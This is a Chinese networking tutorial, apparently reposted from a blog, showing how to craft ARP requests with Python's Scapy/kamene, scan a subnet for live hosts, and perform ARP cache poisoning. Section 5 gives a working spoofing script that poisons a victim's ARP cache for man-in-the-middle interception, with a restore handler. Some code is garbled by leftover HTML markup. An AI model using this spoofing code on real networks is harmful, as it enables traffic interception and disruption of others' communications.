用Python構造ARP請求、掃描、欺騙




0. ARP介紹

首先,先回憶下TCP/IP模型,從下到上分為:數據鏈路層、網絡層、傳輸層、應用層,那么ARP到底屬於哪一層?有人會說是網絡層,但實際是屬於數據鏈路層,只不過還要為網絡層提供服務。

ARP的主要用途是IP(32bit)地址到物理MAC(48bit)地址的映射關系。別看表面主機知道了遠端IP地址就可以通信,實則先要知道遠端的MAC地址(借助ARP),通過網卡到交換機構建數據鏈路層通信,再通過上層進行數據交互。

另外,你可能會了解到代理ARP、免費ARP、RARP這些,其中你都能搞明白他們工作原理是怎么樣的嘛?
這里咱們簡單回顧一下:

  • 代理ARP:一般路由器通常充當代理角色,代替遠端主機響應本地的ARP請求;
  • 免費ARP:一種特殊ARP請求報文,用於檢測IP沖突、硬件地址變更觸發免費ARP;
  • RARP:與ARP相反,主要用於無盤工作站,請求物理MAC(48bit)地址到IP(32bit)地址的映射;

1. Scapy簡述

Scapy是一個Python語言編寫的工具,也是一個強大的交付式數據包處理程序,能夠偽造或者解碼大量的網絡協議數據包,能夠發送、嗅探、剖析和偽造網絡數據包,如端口掃描、路由跟蹤、探測、攻擊或網絡發現等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以代替nmap、tcpdump和tshark的部分功能。此外,Scapy還有很多其他工具沒有的特性,如發送無效數據幀、注入修改的802.11數據幀、在WEB上解碼加密通道(VOIP)、ARP緩存攻擊(VLAN)等。

Scapy的主要功能如下:

  • Scanning(掃描)
  • Fingerprinting(識別)
  • Testing(測試)
  • Packet forging(包鑄造)
  • Attacking(攻擊)
  • Sniffing(抓包分析)

收發數據包介紹:

  • sr():發送三層數據包,等待接受一個或者多個數據包的響應。
  • sr1( ):發送三層數據包,並僅僅只等待接受一個數據包的響應。
  • srp():發送二層數據包,並且等待響應。
  • send():僅僅發送三層數據包,系統會自動處理路由和二層信息。
  • sendp():發送二層數據包。

作為網工,你是不是經常抓包來分析某協議頭部結構,現在就可以用Scapy來構造發送數據包啦。

在python3的環境下,現在叫法是 Kamene,之前叫做Scapy。

2. Scapy簡單演示

2.1 安裝

pip3 install -i https://pypi.douban.com/simple/ kamene	#使用豆瓣源進行安裝kamene

說明:強烈建議在linux環境下安裝及測試(我用的是ubuntu 16)。

2.2 構造包演示

2.2.1 進入kamene交互界面

#安裝好后,直接通過kamene進入,類似python交互式界面
root@ubuntu:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>> 

2.2.2 查看以太網頭部

>>> Ether()
<Ether  |>
>>> _.show()	#'_' 下划線表示上一條命令執行的結果,通過show()展示結果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
  dst= ff:ff:ff:ff:ff:ff
  src= 00:00:00:00:00:00
  type= 0x9000

2.2.3 查看 ICMP 頭部

>>> ICMP()
<ICMP  |>
>>> _.show()
###[ ICMP ]###
  type= echo-request
  code= 0
  chksum= None
  id= 0x0
  seq= 0x0

2.2.4 查看 IP 頭部

>>> IP()
<IP  |>
>>> _.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

2.2.5 查看 TCP/UDP 頭部

>>> TCP()
<TCP  |>
>>> _.show()
###[ TCP ]###
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}

>>> UDP()
<UDP |>
>>> _.show()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None

2.2.6 簡單構造 ICMP 包

#通過 '/' 可疊加多個協議層(左底層到由上層),如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
  version= 4
  ihl= 5
  tos= 0x0
  len= 49
  id= 1909
  flags= 
  frag= 0
  ttl= 128
  proto= icmp
  chksum= 0xa088
  src= 192.168.8.254
  dst= 192.168.8.128
  \options\
###[ ICMP ]###
     type= echo-reply		#收到一個replay包
     code= 0
     chksum= 0x55ad
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'This is a ICMP packet'

2.2.7 簡單 構造 ARP 包

先看下ARP包的格式:

>>> ARP()
<ARP  |>
>>> _.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800	#協議號
  hwlen= 6
  plen= 4
  op= who-has	#op=1表示Request,op=2表示Response
  hwsrc= 00:0c:29:5d:2f:55	#源MAC地址
  psrc= 192.168.8.128	#源IP地址
  hwdst= 00:00:00:00:00:00	#初始目的為廣播地址
  pdst= 0.0.0.0		#缺省為空

簡單構造 ARP 請求包:

>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= 00:50:56:e7:d0:87
psrc= 192.168.8.254
hwdst= 00:0c:29:5d:2f:55 #返回的是arp響應包,獲取到目的映射的MAC地址
pdst= 192.168.8.128
###[ Padding ]###
load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

接下來,咱們玩點復雜的。。。

3. 構造 ARP 請求

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的。

import logging

logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address # 獲取本機IP地址
from Tools.Get_address import get_mac_address # 獲取本機MAC地址
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字

def arp_request(dst_addr, ifname):
# 獲取本機IP地址
local_ip = get_ip_address(ifname)
# 獲取本機MAC地址
local_mac = get_mac_address(ifname)
try:
# 發送ARP請求並等待響應
#op=1表示請求,op=2表示響應
#當op=1,hwsrc=表示本地mac,hwdst表示廣播(首包),psrc表示本地IP,pdst表示目的IP
result_raw = sr1(ARP(op=1,
hwsrc=local_mac,
hwdst='00:00:00:00:00:00',
psrc=local_ip,
pdst=dst_addr),
iface=scapy_iface(ifname),
timeout=1,
verbose=False)
print(result_raw.show())
#返回目的IP地址,和目的MAC地址,getlayer(ARP)取整個ARP數據包,
return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')

<span class="hljs-keyword">except</span> AttributeError:
    <span class="hljs-keyword">return</span> dst_addr, <span class="hljs-keyword">None</span>

if name == "main":
# Windows Linux均可使用
# arp_result = arp_request('192.168.100.1', "WLAN")
arp_result = arp_request('192.168.8.254', "ens32")
print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])

運行結果如下:

IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87

4. 構造 ARP 掃描

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的空間

import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool #多線程
from ARP_Request import arp_request #返回IP 和 MAC

def arp_scan(network,ifname):
#要掃描的網段
net = ipaddress.ip_network(network , strict=False)
#空列表,存放字符串IP地址
ip_list = []
for ip in net:
ip_list.append(str(ip)) #ip格式轉為str,放入ip_list

pool = ThreadPool(processes=<span class="hljs-number">100</span>)    <span class="hljs-comment">#線程池並發100</span>
result = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> ip_list:
    result.append(pool.apply_async(arp_request , args=(i,ifname)))
pool.close()
pool.join()

<span class="hljs-comment">#存放活躍的IP與MAC的字典</span>
scan_dict = {}
<span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> result:
    <span class="hljs-keyword">if</span> r.get()[<span class="hljs-number">1</span>] <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>:
        scan_dict[r.get()[<span class="hljs-number">0</span>]] = r.get()[<span class="hljs-number">1</span>]
<span class="hljs-comment"># print(scan_dict)</span>
<span class="hljs-keyword">return</span> scan_dict

if name == 'main':
net = '192.168.8.0/24'
name = 'ens32'
import time
start_time = time.time()
print("活動IP地址如下:")
for ip , mac in arp_scan(network=net,ifname=name).items():
print("IP地址: {} 是活動的,MAC地址是 {}".format(ip , mac))
end_time = time.time()
print('本次掃描花費時間:%.2f' % (end_time - start_time))

運行結果如下:

活動IP地址如下:
IP地址: 192.168.8.1 是活動的,MAC地址是 00:50:56:c0:00:08
IP地址: 192.168.8.254 是活動的,MAC地址是 00:50:56:e7:d0:87
本次掃描花費時間:14.52

5. 構造 ARP 欺騙

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,屬於網絡攻城獅的空間

import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯

from kamene.all import *
from Tools.Get_address import get_ip_address # 導入獲取本機IP地址方法
from Tools.Get_address import get_mac_address # 導入獲取本機MAC地址方法
from ARP_Request import arp_request # 導入之前創建的ARP請求腳本
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字
import time
import signal

def arp_spoof(ip_1,ip_2,ifname='ens35'):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

<span class="hljs-comment">#賦值到全局變量</span>
<span class="hljs-comment">#dst_1_ip為被毒化ARP設備的IP地址,dst_ip_2為本機偽裝設備的IP地址</span>
<span class="hljs-comment">#local_ifname為攻擊者使用的網口名字</span>
dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname

<span class="hljs-comment"># 獲取本機IP和MAC地址,並且賦值到全局變量</span>
localip, localmac= get_ip_address(ifname), get_mac_address(ifname)

<span class="hljs-comment"># 獲取被欺騙ip_1的MAC地址,真實網關ip_2的MAC地址</span>
dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[<span class="hljs-number">1</span>], arp_request(ip_2,ifname)[<span class="hljs-number">1</span>]

<span class="hljs-comment"># 引入信號處理機制,如果出現ctl+c(signal.SIGINT),使用sigint_handler這個方法進行處理</span>
signal.signal(signal.SIGINT, sigint_handler)

<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:  <span class="hljs-comment"># 一直攻擊,直到ctl+c出現!!!</span>
    <span class="hljs-comment"># op=2,響應ARP</span>
    sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=<span class="hljs-number">2</span>, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
          iface=scapy_iface(local_ifname),
          verbose=<span class="hljs-keyword">False</span>)

    print(<span class="hljs-string">"發送ARP欺騙數據包!欺騙{} , {}的MAC地址已經是我本機{}的MAC地址啦!!!"</span>.format(ip_1,ip_2,ifname))
    time.sleep(<span class="hljs-number">1</span>)

# 定義處理方法
def sigint_handler(signum, frame):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

print(<span class="hljs-string">"\n執行恢復操作!!!"</span>)
<span class="hljs-comment"># 發送ARP數據包,恢復被毒化設備的ARP緩存</span>
sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=<span class="hljs-number">2</span>, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
      iface=scapy_iface(local_ifname),
      verbose=<span class="hljs-keyword">False</span>)
print(<span class="hljs-string">"已經恢復 {} 的ARP緩存啦"</span>.format(dst_1_ip))
<span class="hljs-comment"># 退出程序,跳出while True</span>
sys.exit()

if name == "main":
# 欺騙192.168.1.101,讓它認為192.168.1.102的MAC地址為本機攻擊者的MAC
#如果攻擊者沒有路由通信就會中斷,如有路由就可以竊取雙方通信的信息(所謂中間人)
arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')

運行結果如下:

發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
^C
執行恢復操作!!!
已經恢復 192.168.1.101 的ARP緩存啦

ARP高速緩存表被欺騙前后效果圖:

備注:持續發送ARP響應包,設備收到最新的就會更新本地ARP緩存表,所以ARP安全性太低了。

附錄

官方學習資源
https://scapy.net/
http://github.com/phaethon/kamene
##arp掃描: 通過wireShark可以發現,如果我想知道這個局域網中有多少主機,或者想要局域網中所有主機的列表,那么我完全可以發送ARP請求包,對每個IP都詢問一下MAC地址,有回應的,就是存活的主機。

這個方法比Ping掃描要穩一點,因為開了防火牆之后,很多電腦是不響應Ping包的

arp欺騙指:

只要了解了ARP之后,就會發現有空子可以鑽,也就是說,當有主機在局域網廣播詢問MAC地址的時候,直接發送一個錯誤的響應就好了

甚至,不需要他詢問,直接發送響應包即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM